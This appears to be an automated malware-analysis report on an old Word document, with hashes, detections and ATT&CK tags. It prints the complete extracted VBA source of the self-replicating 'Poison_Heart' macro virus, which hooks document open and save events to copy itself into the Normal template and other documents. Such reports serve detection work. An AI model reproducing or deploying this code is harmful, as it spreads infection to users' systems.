Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3d1479b3f471270…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6ce66bdb1682cfe1a9078045c9c58b33 SHA-1: c8fe27f1891624ae6472d5fe4acecc439bc4b4af SHA-256: c3d1479b3f471270851d65ab57868398f95786f0eea6952af1f478036f191462
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Word document containing a VBA macro that executes a function named 'Word_Poison' upon opening. This macro is designed to modify the document's code and likely serves as a dropper for additional malware, as indicated by ClamAV detections like 'Doc.Trojan.Posi-1'. The presence of a Document_Open macro and legacy WordBasic markers strongly suggests malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Posi-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Posi-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2824 bytes
SHA-256: 6b52b6e6613b2cae922c5e3d2b9bece5f2a0c70a58cb2a5a82069f7d5e8dd148
Detection
ClamAV: Doc.Trojan.Posi-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Word_Poison
End Sub

Attribute VB_Name = "Poison_Heart"
'Poison_Heart'
'ver 1.0'

Option Explicit
Dim X As New Poison_Heart_Class
Const temp = "~Temp1.bas"
Const temp1 = "~Temp.bas"
Dim i As Integer


Sub AutoExec()
 Set X.App = Word.Application
End Sub

Sub FileSave()
 DocHookProc
 On Error GoTo hole
 ActiveDocument.Save
hole:
End Sub

Sub FileSaveAs()
 DocHookProc
 Dialogs(wdDialogFileSaveAs).Show
End Sub

Public Sub DocHookProc()
 
Dim Obj As Object
 Dim Bar As CommandBar
 On Error Resume Next
 Application.NormalTemplate.VBProject.VBComponents("Poison_Heart").Export (temp)
 Application.NormalTemplate.VBProject.VBComponents("Poison_Heart_Class").Export (temp1)
 Err = 0
 Set Obj = ActiveDocument.VBProject.VBComponents("Poison_Heart")
 If Err <> 0 Then
  ActiveDocument.VBProject.VBComponents.Import (temp)
 End If
 Err = 0
 Set Obj = ActiveDocument.VBProject.VBComponents("Poison_Heart_Class")
 If Err <> 0 Then
   ActiveDocument.VBProject.VBComponents.Import (temp1)
 End If
 
 Kill temp
 Kill temp1

For i = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
  ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines (1)
Next i
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString ("Private Sub Document_Open()")
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 2, "Word_Poison"
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 3, "End Sub"
 

End Sub

Sub Word_Poison()

Dim Obj As Object
 Dim Bar As CommandBar
 On Error Resume Next
 ActiveDocument.VBProject.VBComponents("Poison_Heart").Export (temp)
 ActiveDocument.VBProject.VBComponents("Poison_Heart_Class").Export (temp1)
 Err = 0
 Set Obj = Application.NormalTemplate.VBProject.VBComponents("Poison_Heart")
 If Err <> 0 Then
  Application.NormalTemplate.VBProject.VBComponents.Import (temp)
 End If
 Err = 0
 Set Obj = Application.NormalTemplate.VBProject.VBComponents("Poison_Heart_Class")
 If Err <> 0 Then
  Application.NormalTemplate.VBProject.VBComponents.Import (temp1)
 End If
 
 Kill temp
 Kill temp1

End Sub

Attribute VB_Name = "Poison_Heart_Class"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'Poison_Heart'
'ver 1.0'

Public WithEvents App As Word.Application
Private Sub App_DocumentChange()
 DocHookProc
End Sub

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